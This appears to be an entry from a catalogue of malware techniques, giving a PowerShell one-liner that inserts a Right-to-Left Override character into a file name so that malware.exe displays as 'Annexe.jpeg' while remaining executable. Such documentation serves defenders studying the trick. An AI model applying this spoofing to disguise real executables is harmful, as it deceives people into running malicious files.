
(PowerShell) Right-to-Left Override (RLO) Extension Spoofing by Jean-Pierre LESUEUR
Created the Thursday 03 August 2023. Updated 1 month, 3 weeks ago.
Description:
In this example malware.exe
becomes Annexe.jpeg
but keeps its executable properties.
Code
Rename-Item -Path malware.exe -NewName ("Ann" + ( [char]0x202E) + "gepj.exe")